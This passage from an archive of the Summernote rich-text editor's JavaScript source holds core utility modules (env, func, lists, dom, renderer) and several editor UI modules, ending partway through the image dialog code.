* * @param {File} file * @return {Promise} - then: dataUrl */ export function readFileAsDataURL(file) { return $.Deferred((deferred) => { $.extend(new FileReader(), { onload: (e) => { const dataURL = e.target.result; deferred.resolve(dataURL); }, onerror: (err) => { deferred.reject(err); } }).readAsDataURL(file); }).promise(); } /** * @method createImage * * create `<image>` from url string * * @param {String} url * @return {Promise} - then: $image */ export function createImage(url) { return $.Deferred((deferred) => { const $img = $('<img>'); $img.one('load', () => { $img.off('error abort'); deferred.resolve($img); }).one('error abort', () => { $img.off('load').detach(); deferred.reject($img); }).css({ display: 'none' }).appendTo(document.body).attr('src', url); }).promise(); } js/base/core/env.js000064400000006206151677272030010166 0ustar00import $ from 'jquery'; const isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line /** * returns whether font is installed or not. * * @param {String} fontName * @return {Boolean} */ function isFontInstalled(fontName) { const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS'; const $tester = $('<div>').css({ position: 'absolute', left: '-9999px', top: '-9999px', fontSize: '200px' }).text('mmmmmmmmmwwwwwww').appendTo(document.body); const originalWidth = $tester.css('fontFamily', testFontName).width(); const width = $tester.css('fontFamily', fontName + ',' + testFontName).width(); $tester.remove(); return originalWidth !== width; } const userAgent = navigator.userAgent; const isMSIE = /MSIE|Trident/i.test(userAgent); let browserVersion; if (isMSIE) { let matches = /MSIE (\d+[.]\d+)/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } } const isEdge = /Edge\/\d+/.test(userAgent); let hasCodeMirror = !!window.CodeMirror; if (!hasCodeMirror && isSupportAmd) { // Webpack if (typeof __webpack_require__ === 'function') { // eslint-disable-line try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } } else if (typeof require !== 'undefined') { // Browserify if (typeof require.resolve !== 'undefined') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } // Almond/Require } else if (typeof require.specified !== 'undefined') { hasCodeMirror = require.specified('codemirror'); } } } const isSupportTouch = (('ontouchstart' in window) || (navigator.MaxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); // [workaround] IE doesn't have input events for contentEditable // - see: https://goo.gl/4bfIvA const inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input'; /** * @class core.env * * Object which check platform and agent * * @singleton * @alternateClassName env */ export default { isMac: navigator.appVersion.indexOf('Mac') > -1, isMSIE, isEdge, isFF: !isEdge && /firefox/i.test(userAgent), isPhantom: /PhantomJS/i.test(userAgent), isWebkit: !isEdge && /webkit/i.test(userAgent), isChrome: !isEdge && /chrome/i.test(userAgent), isSafari: !isEdge && /safari/i.test(userAgent), browserVersion, jqueryVersion: parseFloat($.fn.jquery), isSupportAmd, isSupportTouch, hasCodeMirror, isFontInstalled, isW3CRangeSupport: !!document.createRange, inputEventName }; js/base/core/func.js000064400000006255151677272030010335 0ustar00/** * @class core.func * * func utils (for high-order func's arg) * * @singleton * @alternateClassName func */ function eq(itemA) { return function(itemB) { return itemA === itemB; }; } function eq2(itemA, itemB) { return itemA === itemB; } function peq2(propName) { return function(itemA, itemB) { return itemA[propName] === itemB[propName]; }; } function ok() { return true; } function fail() { return false; } function not(f) { return () => { return !f.apply(f, arguments); }; } function and(fA, fB) { return function(item) { return fA(item) && fB(item); }; } function self(a) { return a; } function invoke(obj, method) { return () => { return obj[method].apply(obj, arguments); }; } let idCounter = 0; /** * generate a globally-unique id * * @param {String} [prefix] */ function uniqueId(prefix) { const id = ++idCounter + ''; return prefix ? prefix + id : id; } /** * returns bnd (bounds) from rect * * - IE Compatibility Issue: http://goo.gl/sRLOAo * - Scroll Issue: http://goo.gl/sNjUc * * @param {Rect} rect * @return {Object} bounds * @return {Number} bounds.top * @return {Number} bounds.left * @return {Number} bounds.width * @return {Number} bounds.height */ function rect2bnd(rect) { const $document = $(document); return { top: rect.top + $document.scrollTop(), left: rect.left + $document.scrollLeft(), width: rect.right - rect.left, height: rect.bottom - rect.top }; } /** * returns a copy of the object where the keys have become the values and the values the keys. * @param {Object} obj * @return {Object} */ function invertObject(obj) { const inverted = {}; for (const key in obj) { if (obj.hasOwnProperty(key)) { inverted[obj[key]] = key; } } return inverted; } /** * @param {String} namespace * @param {String} [prefix] * @return {String} */ function namespaceToCamel(namespace, prefix) { prefix = prefix || ''; return prefix + namespace.split('.').map(function(name) { return name.substring(0, 1).toUpperCase() + name.substring(1); }).join(''); } /** * Returns a function, that, as long as it continues to be invoked, will not * be triggered. The function will be called after it stops being called for * N milliseconds. If `immediate` is passed, trigger the function on the * leading edge, instead of the trailing. * @param {Function} func * @param {Number} wait * @param {Boolean} immediate * @return {Function} */ function debounce(func, wait, immediate) { let timeout; return () => { const context = this; const args = arguments; const later = () => { timeout = null; if (!immediate) { func.apply(context, args); } }; const callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } export default { eq, eq2, peq2, ok, fail, self, not, and, invoke, uniqueId, rect2bnd, invertObject, namespaceToCamel, debounce }; js/base/core/lists.js000064400000007514151677272030010537 0ustar00import $ from 'jquery'; import func from './func'; /** * returns the first item of an array. * * @param {Array} array */ function head(array) { return array[0]; } /** * returns the last item of an array. * * @param {Array} array */ function last(array) { return array[array.length - 1]; } /** * returns everything but the last entry of the array. * * @param {Array} array */ function initial(array) { return array.slice(0, array.length - 1); } /** * returns the rest of the items in an array. * * @param {Array} array */ function tail(array) { return array.slice(1); } /** * returns item of array */ function find(array, pred) { for (let idx = 0, len = array.length; idx < len; idx++) { const item = array[idx]; if (pred(item)) { return item; } } } /** * returns true if all of the values in the array pass the predicate truth test. */ function all(array, pred) { for (let idx = 0, len = array.length; idx < len; idx++) { if (!pred(array[idx])) { return false; } } return true; } /** * returns index of item */ function indexOf(array, item) { return $.inArray(item, array); } /** * returns true if the value is present in the list. */ function contains(array, item) { return indexOf(array, item) !== -1; } /** * get sum from a list * * @param {Array} array - array * @param {Function} fn - iterator */ function sum(array, fn) { fn = fn || func.self; return array.reduce(function(memo, v) { return memo + fn(v); }, 0); } /** * returns a copy of the collection with array type. * @param {Collection} collection - collection eg) node.childNodes, ... */ function from(collection) { const result = []; const length = collection.length; let idx = -1; while (++idx < length) { result[idx] = collection[idx]; } return result; } /** * returns whether list is empty or not */ function isEmpty(array) { return !array || !array.length; } /** * cluster elements by predicate function. * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule * @param {Array[]} */ function clusterBy(array, fn) { if (!array.length) { return []; } const aTail = tail(array); return aTail.reduce(function(memo, v) { const aLast = last(memo); if (fn(last(aLast), v)) { aLast[aLast.length] = v; } else { memo[memo.length] = [v]; } return memo; }, [[head(array)]]); } /** * returns a copy of the array with all false values removed * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule */ function compact(array) { const aResult = []; for (let idx = 0, len = array.length; idx < len; idx++) { if (array[idx]) { aResult.push(array[idx]); } } return aResult; } /** * produces a duplicate-free version of the array * * @param {Array} array */ function unique(array) { const results = []; for (let idx = 0, len = array.length; idx < len; idx++) { if (!contains(results, array[idx])) { results.push(array[idx]); } } return results; } /** * returns next item. * @param {Array} array */ function next(array, item) { const idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx + 1]; } /** * returns prev item. * @param {Array} array */ function prev(array, item) { const idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx - 1]; } /** * @class core.list * * list utils * * @singleton * @alternateClassName list */ export default { head, last, initial, tail, prev, next, find, contains, all, sum, from, isEmpty, clusterBy, compact, unique }; js/base/core/dom.js000064400000057270151677272030010164 0ustar00import $ from 'jquery'; import func from './func'; import lists from './lists'; import env from './env'; const NBSP_CHAR = String.fromCharCode(160); const ZERO_WIDTH_NBSP_CHAR = '\ufeff'; /** * @method isEditable * * returns whether node is `note-editable` or not. * * @param {Node} node * @return {Boolean} */ function isEditable(node) { return node && $(node).hasClass('note-editable'); } /** * @method isControlSizing * * returns whether node is `note-control-sizing` or not. * * @param {Node} node * @return {Boolean} */ function isControlSizing(node) { return node && $(node).hasClass('note-control-sizing'); } /** * @method makePredByNodeName * * returns predicate which judge whether nodeName is same * * @param {String} nodeName * @return {Function} */ function makePredByNodeName(nodeName) { nodeName = nodeName.toUpperCase(); return function(node) { return node && node.nodeName.toUpperCase() === nodeName; }; } /** * @method isText * * * * @param {Node} node * @return {Boolean} true if node's type is text(3) */ function isText(node) { return node && node.nodeType === 3; } /** * @method isElement * * * * @param {Node} node * @return {Boolean} true if node's type is element(1) */ function isElement(node) { return node && node.nodeType === 1; } /** * ex) br, col, embed, hr, img, input, ... * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements */ function isVoid(node) { return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase()); } function isPara(node) { if (isEditable(node)) { return false; } // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase()); } function isHeading(node) { return node && /^H[1-7]/.test(node.nodeName.toUpperCase()); } const isPre = makePredByNodeName('PRE'); const isLi = makePredByNodeName('LI'); function isPurePara(node) { return isPara(node) && !isLi(node); } const isTable = makePredByNodeName('TABLE'); const isData = makePredByNodeName('DATA'); function isInline(node) { return !isBodyContainer(node) && !isList(node) && !isHr(node) && !isPara(node) && !isTable(node) && !isBlockquote(node) && !isData(node); } function isList(node) { return node && /^UL|^OL/.test(node.nodeName.toUpperCase()); } const isHr = makePredByNodeName('HR'); function isCell(node) { return node && /^TD|^TH/.test(node.nodeName.toUpperCase()); } const isBlockquote = makePredByNodeName('BLOCKQUOTE'); function isBodyContainer(node) { return isCell(node) || isBlockquote(node) || isEditable(node); } const isAnchor = makePredByNodeName('A'); function isParaInline(node) { return isInline(node) && !!ancestor(node, isPara); } function isBodyInline(node) { return isInline(node) && !ancestor(node, isPara); } const isBody = makePredByNodeName('BODY'); /** * returns whether nodeB is closest sibling of nodeA * * @param {Node} nodeA * @param {Node} nodeB * @return {Boolean} */ function isClosestSibling(nodeA, nodeB) { return nodeA.nextSibling === nodeB || nodeA.previousSibling === nodeB; } /** * returns array of closest siblings with node * * @param {Node} node * @param {function} [pred] - predicate function * @return {Node[]} */ function withClosestSiblings(node, pred) { pred = pred || func.ok; const siblings = []; if (node.previousSibling && pred(node.previousSibling)) { siblings.push(node.previousSibling); } siblings.push(node); if (node.nextSibling && pred(node.nextSibling)) { siblings.push(node.nextSibling); } return siblings; } /** * blank HTML for cursor position * - [workaround] old IE only works with * - [workaround] IE11 and other browser works with bogus br */ const blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>'; /** * @method nodeLength * * returns #text's text size or element's childNodes size * * @param {Node} node */ function nodeLength(node) { if (isText(node)) { return node.nodeValue.length; } if (node) { return node.childNodes.length; } return 0; } /** * returns whether node is empty or not. * * @param {Node} node * @return {Boolean} */ function isEmpty(node) { const len = nodeLength(node); if (len === 0) { return true; } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) { // ex) <p><br></p>, <span><br></span> return true; } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') { // ex) <p></p>, <span></span> return true; } return false; } /** * padding blankHTML if node is empty (for cursor position) */ function paddingBlankHTML(node) { if (!isVoid(node) && !nodeLength(node)) { node.innerHTML = blankHTML; } } /** * find nearest ancestor predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function ancestor(node, pred) { while (node) { if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * find nearest ancestor only single child blood line and predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function singleChildAncestor(node, pred) { node = node.parentNode; while (node) { if (nodeLength(node) !== 1) { break; } if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * returns new array of ancestor nodes (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listAncestor(node, pred) { pred = pred || func.fail; const ancestors = []; ancestor(node, function(el) { if (!isEditable(el)) { ancestors.push(el); } return pred(el); }); return ancestors; } /** * find farthest ancestor predicate hit */ function lastAncestor(node, pred) { const ancestors = listAncestor(node); return lists.last(ancestors.filter(pred)); } /** * returns common ancestor node between two nodes. * * @param {Node} nodeA * @param {Node} nodeB */ function commonAncestor(nodeA, nodeB) { const ancestors = listAncestor(nodeA); for (let n = nodeB; n; n = n.parentNode) { if ($.inArray(n, ancestors) > -1) { return n; } } return null; // difference document area } /** * listing all previous siblings (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listPrev(node, pred) { pred = pred || func.fail; const nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.previousSibling; } return nodes; } /** * listing next siblings (until predicate hit). * * @param {Node} node * @param {Function} [pred] - predicate function */ function listNext(node, pred) { pred = pred || func.fail; const nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.nextSibling; } return nodes; } /** * listing descendant nodes * * @param {Node} node * @param {Function} [pred] - predicate function */ function listDescendant(node, pred) { const descendants = []; pred = pred || func.ok; // start DFS(depth first search) with node (function fnWalk(current) { if (node !== current && pred(current)) { descendants.push(current); } for (let idx = 0, len = current.childNodes.length; idx < len; idx++) { fnWalk(current.childNodes[idx]); } })(node); return descendants; } /** * wrap node with new tag. * * @param {Node} node * @param {Node} tagName of wrapper * @return {Node} - wrapper */ function wrap(node, wrapperName) { const parent = node.parentNode; const wrapper = $('<' + wrapperName + '>')[0]; parent.insertBefore(wrapper, node); wrapper.appendChild(node); return wrapper; } /** * insert node after preceding * * @param {Node} node * @param {Node} preceding - predicate function */ function insertAfter(node, preceding) { const next = preceding.nextSibling; let parent = preceding.parentNode; if (next) { parent.insertBefore(node, next); } else { parent.appendChild(node); } return node; } /** * append elements. * * @param {Node} node * @param {Collection} aChild */ function appendChildNodes(node, aChild) { $.each(aChild, function(idx, child) { node.appendChild(child); }); return node; } /** * returns whether boundaryPoint is left edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isLeftEdgePoint(point) { return point.offset === 0; } /** * returns whether boundaryPoint is right edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isRightEdgePoint(point) { return point.offset === nodeLength(point.node); } /** * returns whether boundaryPoint is edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isEdgePoint(point) { return isLeftEdgePoint(point) || isRightEdgePoint(point); } /** * returns whether node is left edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgeOf(node, ancestor) { while (node && node !== ancestor) { if (position(node) !== 0) { return false; } node = node.parentNode; } return true; } /** * returns whether node is right edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isRightEdgeOf(node, ancestor) { if (!ancestor) { return false; } while (node && node !== ancestor) { if (position(node) !== nodeLength(node.parentNode) - 1) { return false; } node = node.parentNode; } return true; } /** * returns whether point is left edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgePointOf(point, ancestor) { return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor); } /** * returns whether point is right edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isRightEdgePointOf(point, ancestor) { return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor); } /** * returns offset from parent. * * @param {Node} node */ function position(node) { let offset = 0; while ((node = node.previousSibling)) { offset += 1; } return offset; } function hasChildren(node) { return !!(node && node.childNodes && node.childNodes.length); } /** * returns previous boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function prevPoint(point, isSkipInnerOffset) { let node; let offset; if (point.offset === 0) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node); } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset - 1]; offset = nodeLength(node); } else { node = point.node; offset = isSkipInnerOffset ? 0 : point.offset - 1; } return { node: node, offset: offset }; } /** * returns next boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function nextPoint(point, isSkipInnerOffset) { let node, offset; if (nodeLength(point.node) === point.offset) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node) + 1; } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset]; offset = 0; } else { node = point.node; offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1; } return { node: node, offset: offset }; } /** * returns whether pointA and pointB is same or not. * * @param {BoundaryPoint} pointA * @param {BoundaryPoint} pointB * @return {Boolean} */ function isSamePoint(pointA, pointB) { return pointA.node === pointB.node && pointA.offset === pointB.offset; } /** * returns whether point is visible (can set cursor) or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isVisiblePoint(point) { if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) { return true; } const leftNode = point.node.childNodes[point.offset - 1]; const rightNode = point.node.childNodes[point.offset]; if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) { return true; } return false; } /** * @method prevPointUtil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function prevPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = prevPoint(point); } return null; } /** * @method nextPointUntil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function nextPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = nextPoint(point); } return null; } /** * returns whether point has character or not. * * @param {Point} point * @return {Boolean} */ function isCharPoint(point) { if (!isText(point.node)) { return false; } const ch = point.node.nodeValue.charAt(point.offset - 1); return ch && (ch !== ' ' && ch !== NBSP_CHAR); } /** * @method walkPoint * * @param {BoundaryPoint} startPoint * @param {BoundaryPoint} endPoint * @param {Function} handler * @param {Boolean} isSkipInnerOffset */ function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) { let point = startPoint; while (point) { handler(point); if (isSamePoint(point, endPoint)) { break; } const isSkipOffset = isSkipInnerOffset && startPoint.node !== point.node && endPoint.node !== point.node; point = nextPoint(point, isSkipOffset); } } /** * @method makeOffsetPath * * return offsetPath(array of offset) from ancestor * * @param {Node} ancestor - ancestor node * @param {Node} node */ function makeOffsetPath(ancestor, node) { const ancestors = listAncestor(node, func.eq(ancestor)); return ancestors.map(position).reverse(); } /** * @method fromOffsetPath * * return element from offsetPath(array of offset) * * @param {Node} ancestor - ancestor node * @param {array} offsets - offsetPath */ function fromOffsetPath(ancestor, offsets) { let current = ancestor; for (let i = 0, len = offsets.length; i < len; i++) { if (current.childNodes.length <= offsets[i]) { current = current.childNodes[current.childNodes.length - 1]; } else { current = current.childNodes[offsets[i]]; } } return current; } /** * @method splitNode * * split element or #text * * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitNode(point, options) { const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML; const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint; // edge case if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) { if (isLeftEdgePoint(point)) { return point.node; } else if (isRightEdgePoint(point)) { return point.node.nextSibling; } } // split #text if (isText(point.node)) { return point.node.splitText(point.offset); } else { const childNode = point.node.childNodes[point.offset]; const clone = insertAfter(point.node.cloneNode(false), point.node); appendChildNodes(clone, listNext(childNode)); if (!isSkipPaddingBlankHTML) { paddingBlankHTML(point.node); paddingBlankHTML(clone); } return clone; } } /** * @method splitTree * * split tree by point * * @param {Node} root - split root * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitTree(root, point, options) { // ex) [#text, <span>, <p>] const ancestors = listAncestor(point.node, func.eq(root)); if (!ancestors.length) { return null; } else if (ancestors.length === 1) { return splitNode(point, options); } return ancestors.reduce(function(node, parent) { if (node === point.node) { node = splitNode(point, options); } return splitNode({ node: parent, offset: node ? position(node) : nodeLength(parent) }, options); }); } /** * split point * * @param {Point} point * @param {Boolean} isInline * @return {Object} */ function splitPoint(point, isInline) { // find splitRoot, container // - inline: splitRoot is a child of paragraph // - block: splitRoot is a child of bodyContainer const pred = isInline ? isPara : isBodyContainer; const ancestors = listAncestor(point.node, pred); const topAncestor = lists.last(ancestors) || point.node; let splitRoot, container; if (pred(topAncestor)) { splitRoot = ancestors[ancestors.length - 2]; container = topAncestor; } else { splitRoot = topAncestor; container = splitRoot.parentNode; } // if splitRoot is exists, split with splitTree let pivot = splitRoot && splitTree(splitRoot, point, { isSkipPaddingBlankHTML: isInline, isNotSplitEdgePoint: isInline }); // if container is point.node, find pivot with point.offset if (!pivot && container === point.node) { pivot = point.node.childNodes[point.offset]; } return { rightNode: pivot, container: container }; } function create(nodeName) { return document.createElement(nodeName); } function createText(text) { return document.createTextNode(text); } /** * @method remove * * remove node, (isRemoveChild: remove child or not) * * @param {Node} node * @param {Boolean} isRemoveChild */ function remove(node, isRemoveChild) { if (!node || !node.parentNode) { return; } if (node.removeNode) { return node.removeNode(isRemoveChild); } const parent = node.parentNode; if (!isRemoveChild) { const nodes = []; for (let i = 0, len = node.childNodes.length; i < len; i++) { nodes.push(node.childNodes[i]); } for (let i = 0, len = nodes.length; i < len; i++) { parent.insertBefore(nodes[i], node); } } parent.removeChild(node); } /** * @method removeWhile * * @param {Node} node * @param {Function} pred */ function removeWhile(node, pred) { while (node) { if (isEditable(node) || !pred(node)) { break; } const parent = node.parentNode; remove(node); node = parent; } } /** * @method replace * * replace node with provided nodeName * * @param {Node} node * @param {String} nodeName * @return {Node} - new node */ function replace(node, nodeName) { if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) { return node; } const newNode = create(nodeName); if (node.style.cssText) { newNode.style.cssText = node.style.cssText; } appendChildNodes(newNode, lists.from(node.childNodes)); insertAfter(newNode, node); remove(node); return newNode; } const isTextarea = makePredByNodeName('TEXTAREA'); /** * @param {jQuery} $node * @param {Boolean} [stripLinebreaks] - default: false */ function value($node, stripLinebreaks) { const val = isTextarea($node[0]) ? $node.val() : $node.html(); if (stripLinebreaks) { return val.replace(/[\n\r]/g, ''); } return val; } /** * @method html * * get the HTML contents of node * * @param {jQuery} $node * @param {Boolean} [isNewlineOnBlock] */ function html($node, isNewlineOnBlock) { let markup = value($node); if (isNewlineOnBlock) { const regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g; markup = markup.replace(regexTag, function(match, endSlash, name) { name = name.toUpperCase(); const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) && !!endSlash; const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name); return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : ''); }); markup = $.trim(markup); } return markup; } function posFromPlaceholder(placeholder) { const $placeholder = $(placeholder); const pos = $placeholder.offset(); const height = $placeholder.outerHeight(true); // include margin return { left: pos.left, top: pos.top + height }; } function attachEvents($node, events) { Object.keys(events).forEach(function(key) { $node.on(key, events[key]); }); } function detachEvents($node, events) { Object.keys(events).forEach(function(key) { $node.off(key, events[key]); }); } /** * @method isCustomStyleTag * * assert if a node contains a "note-styletag" class, * which implies that's a custom-made style tag node * * @param {Node} an HTML DOM node */ function isCustomStyleTag(node) { return node && !isText(node) && lists.contains(node.classList, 'note-styletag'); } export default { /** @property {String} NBSP_CHAR */ NBSP_CHAR, /** @property {String} ZERO_WIDTH_NBSP_CHAR */ ZERO_WIDTH_NBSP_CHAR, /** @property {String} blank */ blank: blankHTML, /** @property {String} emptyPara */ emptyPara: `<p>${blankHTML}</p>`, makePredByNodeName, isEditable, isControlSizing, isText, isElement, isVoid, isPara, isPurePara, isHeading, isInline, isBlock: func.not(isInline), isBodyInline, isBody, isParaInline, isPre, isList, isTable, isData, isCell, isBlockquote, isBodyContainer, isAnchor, isDiv: makePredByNodeName('DIV'), isLi, isBR: makePredByNodeName('BR'), isSpan: makePredByNodeName('SPAN'), isB: makePredByNodeName('B'), isU: makePredByNodeName('U'), isS: makePredByNodeName('S'), isI: makePredByNodeName('I'), isImg: makePredByNodeName('IMG'), isTextarea, isEmpty, isEmptyAnchor: func.and(isAnchor, isEmpty), isClosestSibling, withClosestSiblings, nodeLength, isLeftEdgePoint, isRightEdgePoint, isEdgePoint, isLeftEdgeOf, isRightEdgeOf, isLeftEdgePointOf, isRightEdgePointOf, prevPoint, nextPoint, isSamePoint, isVisiblePoint, prevPointUntil, nextPointUntil, isCharPoint, walkPoint, ancestor, singleChildAncestor, listAncestor, lastAncestor, listNext, listPrev, listDescendant, commonAncestor, wrap, insertAfter, appendChildNodes, position, hasChildren, makeOffsetPath, fromOffsetPath, splitTree, splitPoint, create, createText, remove, removeWhile, replace, html, value, posFromPlaceholder, attachEvents, detachEvents, isCustomStyleTag }; js/base/renderer.js000064400000003121151677272030010245 0ustar00import $ from 'jquery'; class Renderer { constructor(markup, children, options, callback) { this.markup = markup; this.children = children; this.options = options; this.callback = callback; } render($parent) { const $node = $(this.markup); if (this.options && this.options.contents) { $node.html(this.options.contents); } if (this.options && this.options.className) { $node.addClass(this.options.className); } if (this.options && this.options.data) { $.each(this.options.data, (k, v) => { $node.attr('data-' + k, v); }); } if (this.options && this.options.click) { $node.on('click', this.options.click); } if (this.children) { const $container = $node.find('.note-children-container'); this.children.forEach((child) => { child.render($container.length ? $container : $node); }); } if (this.callback) { this.callback($node, this.options); } if (this.options && this.options.callback) { this.options.callback($node); } if ($parent) { $parent.append($node); } return $node; } } export default { create: (markup, callback) => { return () => { const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0]; let children = $.isArray(arguments[0]) ? arguments[0] : []; if (options && options.children) { children = options.children; } return new Renderer(markup, children, options, callback); }; } }; js/base/module/Fullscreen.js000064400000002612151677272030012032 0ustar00import $ from 'jquery'; export default class Fullscreen { constructor(context) { this.context = context; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.$window = $(window); this.$scrollbar = $('html, body'); this.onResize = () => { this.resizeTo({ h: this.$window.height() - this.$toolbar.outerHeight() }); }; } resizeTo(size) { this.$editable.css('height', size.h); this.$codable.css('height', size.h); if (this.$codable.data('cmeditor')) { this.$codable.data('cmeditor').setsize(null, size.h); } } /** * toggle fullscreen */ toggle() { this.$editor.toggleClass('fullscreen'); if (this.isFullscreen()) { this.$editable.data('orgHeight', this.$editable.css('height')); this.$window.on('resize', this.onResize).trigger('resize'); this.$scrollbar.css('overflow', 'hidden'); } else { this.$window.off('resize', this.onResize); this.resizeTo({ h: this.$editable.data('orgHeight') }); this.$scrollbar.css('overflow', 'visible'); } this.context.invoke('toolbar.updateFullscreen', this.isFullscreen()); } isFullscreen() { return this.$editor.hasClass('fullscreen'); } } js/base/module/Placeholder.js000064400000001705151677272030012154 0ustar00import $ from 'jquery'; export default class Placeholder { constructor(context) { this.context = context; this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.events = { 'summernote.init summernote.change': () => { this.update(); }, 'summernote.codeview.toggled': () => { this.update(); } }; } shouldInitialize() { return !!this.options.placeholder; } initialize() { this.$placeholder = $('<div class="note-placeholder">'); this.$placeholder.on('click', () => { this.context.invoke('focus'); }).text(this.options.placeholder).prependTo(this.$editingArea); this.update(); } destroy() { this.$placeholder.remove(); } update() { const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty'); this.$placeholder.toggle(isShow); } } js/base/module/TablePopover.js000064400000003142151677272030012331 0ustar00import $ from 'jquery'; import env from '../core/env'; import lists from '../core/lists'; import dom from '../core/dom'; export default class TablePopover { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.options = context.options; this.events = { 'summernote.mousedown': (we, e) => { this.update(e.target); }, 'summernote.keyup summernote.scroll summernote.change': () => { this.update(); }, 'summernote.disable': () => { this.hide(); } }; } shouldInitialize() { return !lists.isEmpty(this.options.popover.table); } initialize() { this.$popover = this.ui.popover({ className: 'note-table-popover' }).render().appendTo(this.options.container); const $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.table); // [workaround] Disable Firefox's default table editor if (env.isFF) { document.execCommand('enableInlineTableEditing', false, false); } } destroy() { this.$popover.remove(); } update(target) { if (this.context.isDisabled()) { return false; } const isCell = dom.isCell(target); if (isCell) { const pos = dom.posFromPlaceholder(target); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } return isCell; } hide() { this.$popover.hide(); } } js/base/module/ImageDialog.js000064400000010373151677272030012075 0ustar00import $ from 'jquery'; import env from '../core/env'; import key from '../core/key'; export default class ImageDialog { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.$body = $(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } initialize() { const $container = this.options.dialogsInBody ? this.$body : this.$editor; let imageLimitation = ''; if (this.options.maximumImageFileSize) { const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024)); const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 + 